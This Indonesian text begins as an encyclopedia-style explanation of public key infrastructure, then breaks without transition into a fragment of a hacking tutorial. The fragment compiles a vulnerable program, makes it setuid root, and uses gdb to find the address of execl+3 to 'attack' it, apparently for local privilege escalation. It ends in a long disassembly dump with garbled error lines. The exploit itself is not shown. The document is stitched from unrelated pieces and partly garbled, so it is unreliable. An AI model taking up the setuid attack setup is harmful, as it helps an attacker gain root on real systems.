Infrastruktur kunci publik
Dalam kriptografi, Public Key Infrastructure (PKI) adalah sebuah cara untuk otentikasi, pengamanan data dan perangkat anti sangkal. Secara teknis, PKI adalah implementasi dari berbagai teknik kriptografi yang bertujuan untuk mengamankan data, memastikan keaslian data maupun pengirimnya dan mencegah penyangkalan.
Teknik-teknik kriptografi yang digunakan antara lain: - fungsi hash, - algoritma enkripsi simetrik, dan - algoritma enkripsi asimetrik. Fungsi hash akan digunakan bersama dengan algoritma enkripsi asimetrik dalam bentuk tanda tangan digital untuk memastikan integritas dan keaslian berita/data berikut pengirimnya. Algoritma enkripsi simetrik digunakan untuk mengamankan data dengan cara enkripsi. Dalam PKI penggunaan algoritma enkripsi simetrik tidak langsung didefinisikan tetapi telah diimplementasikan oleh berbagai perangat lunak. Secara garis besar PKI diwujudkan dalam bentuk kolaborasi antar komponen-komponennya.
Komponen-komponen PKI antara lain: - Subscriber, - Certification Authority (CA), - Registration Authority (RA), - Sertifikat Digital. Secara praktis wujud PKI adalah penggunaan sertifikat digital. Sertifikat digital adalah sebuah file komputer yang berisi data-data tentang sebuah public key, pemiliknya (subscriber atau CA), CA yang menerbitkannya dan masa berlakunya.
PKI telah diimplementasikan dengan berbagai aplikasi seperti S/MIME, HTTPS, VPN, dll. Anda dapat melihat fitur S/MIME pada software email yang terkenal seperti Outlook Express, Mozilla Mail/Thunderbird, dan Evolution. [dokter@localhost fedora]$ gcc -o vul vul.c dan sekarang mari kita buat sesuatu untuk sebuah test yang sempurna [dokter@localhost fedora]$ su Password: [root@localhost fedora]# chgrp root vul [root@localhost fedora]# chown root vul [root@localhost fedora]# chmod 4755 vul [root@localhost fedora]# ls -l vul -rwsr-xr-x 1 root root 4733 11?12 23:11 vul [root@localhost fedora]# su dokter [dokter@localhost fedora]$ nah sekarang kamu siap menyerang program vulnerability.... dan langkah pertama yang harus kamu jalanin adalah mencari alamat dari <execl+3> dengan menggunakan GDB gdb apaan tuh ? pasti kamu bertanya.... jawaban nya ... use your imajination hehehehehe [dokter@localhost fedora]$ gdb vul 40 GNU gdb Red Hat Linux (6.0post-0.20040223.19rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x8048379 (gdb) r Starting program: /home/dokter/fedora/vul Error while mapping shared library sections:
- ?
깃났. Error while reading shared library symbols:
- 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
- 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
- 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048379 in main () (gdb) disas execl Dump of assembler code for function execl: 0x005fea00 <execl+0>: push %ebp 0x005fea01 <execl+1>: mov %esp,%ebp 0x005fea03 <execl+3>: lea 0x10(%ebp),%eax 0x005fea06 <execl+6>: push %edi 0x005fea07 <execl+7>: push %esi 0x005fea08 <execl+8>: push %ebx 0x005fea09 <execl+9>: sub $0x1030,%esp 0x005fea0f <execl+15>: mov 0xc(%ebp),%ecx 0x005fea12 <execl+18>: movl $0x400,0xfffffff0(%ebp) 0x005fea19 <execl+25>: lea 0x1b(%esp),%esi 0x005fea1d <execl+29>: and $0xfffffff0,%esi 0x005fea20 <execl+32>: call 0x58c90d <__i686.get_pc_thunk.bx> 0x005fea25 <execl+37>: add $0x905d7,%ebx 0x005fea2b <execl+43>: mov %ecx,(%esi) 0x005fea2d <execl+45>: test %ecx,%ecx 0x005fea2f <execl+47>: mov %eax,0xffffffe8(%ebp) 0x005fea32 <execl+50>: movl $0x1,0xffffffec(%ebp) 0x005fea39 <execl+57>: je 0x5fea73 <execl+115> 0x005fea3b <execl+59>: movl $0x1a,0xffffffe0(%ebp) 0x005fea42 <execl+66>: lea 0x0(%esi),%esi 0x005fea49 <execl+73>: lea 0x0(%edi),%edi 0x005fea50 <execl+80>: mov 0xfffffff0(%ebp),%edx 0x005fea53 <execl+83>: cmp %edx,0xffffffec(%ebp) 0x005fea56 <execl+86>: je 0x5fea96 <execl+150> 0x005fea58 <execl+88>: addl $0x8,0xffffffe0(%ebp) 0x005fea5c <execl+92>: mov 0xffffffe8(%ebp),%edx 0x005fea5f <execl+95>: mov 0xffffffec(%ebp),%edi 0x005fea62 <execl+98>: addl $0x4,0xffffffe8(%ebp) 0x005fea66 <execl+102>: mov (%edx),%ecx 0x005fea68 <execl+104>: mov %ecx,(%esi,%edi,4) 0x005fea6b <execl+107>: inc %edi 0x005fea6c <execl+108>: test %ecx,%ecx 0x005fea6e <execl+110>: mov %edi,0xffffffec(%ebp) 0x005fea71 <execl+113>: jne 0x5fea50 <execl+80> 0x005fea73 <execl+115>: mov 0xfffffee0(%ebx),%edi 0x005fea79 <execl+121>: mov (%edi),%ecx 0x005fea7b <execl+123>: mov %esi,0x4(%esp) 0x005fea7f <execl+127>: mov 0x8(%ebp),%esi 0x005fea82 <execl+130>: mov %ecx,0x8(%esp) 0x005fea86 <execl+134>: mov %esi,(%esp) 0x005fea89 <execl+137>: call 0x5fe7a0 <execve> 0x005fea8e <execl+142>: lea 0xfffffff4(%ebp),%esp 0x005fea91 <execl+145>: pop %ebx 0x005fea92 <execl+146>: pop %esi 41 0x005fea93 <execl+147>: pop %edi 0x005fea94 <execl+148>: pop %ebp 0x005fea95 <execl+149>: ret 0x005fea96 <execl+150>: mov 0xffffffec(%ebp),%edx 0x005fea99 <execl+153>: mov 0xffffffe0(%ebp),%ecx 0x005fea9c <execl+156>: add %edx,%edx 0x005fea9e <execl+158>: mov %edx,0xffffffe4(%ebp) 0x005feaa1 <execl+161>: and $0xfffffffc,%ecx 0x005feaa4 <execl+164>: sub %ecx,%esp 0x005feaa6 <execl+166>: mov %edx,0xfffffff0(%ebp) 0x005feaa9 <execl+169>: mov 0xffffffe4(%ebp),%eax 0x005feaac <execl+172>: lea 0x1b(%esp),%edx 0x005feab0 <execl+176>: and $0xfffffff0,%edx 0x005feab3 <execl+179>: lea (%eax,%edx,1),%edi 0x005feab6 <execl+182>: cmp %esi,%edi 0x005feab8 <execl+184>: je 0x5feacc <execl+204> 0x005feaba <execl+186>: cld 0x005feabb <execl+187>: mov 0xffffffec(%ebp),%ecx 0x005feabe <execl+190>: mov %edx,%edi 0x005feac0 <execl+192>: shl $0x2,%ecx 0x005feac3 <execl+195>: shr $0x2,%ecx 0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi) 0x005feac8 <execl+200>: mov %edx,%esi 0x005feaca <execl+202>: jmp 0x5fea58 <execl+88> 0x005feacc <execl+204>: cld 0x005feacd <execl+205>: mov 0xffffffec(%ebp),%ecx 0x005fead0 <execl+208>: mov %edx,%edi 0x005fead2 <execl+210>: shl $0x2,%ecx 0x005fead5 <execl+213>: shr $0x2,%ecx 0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi) 0x005feada <execl+218>: mov %edx,%esi 0x005feadc <execl+220>: mov 0xffffffe4(%ebp),%edi 0x005feadf <execl+223>: mov 0xffffffec(%ebp),%eax 0x005feae2 <execl+226>: add %eax,%edi 0x005feae4 <execl+228>: mov %edi,0xfffffff0(%ebp) 0x005feae7 <execl+231>: jmp 0x5fea58 <execl+88> 0x005feaec <execl+236>: nop 0x005feaed <execl+237>: nop 0x005feaee <execl+238>: nop 0x005feaef <execl+239>: nop End of assembler dump.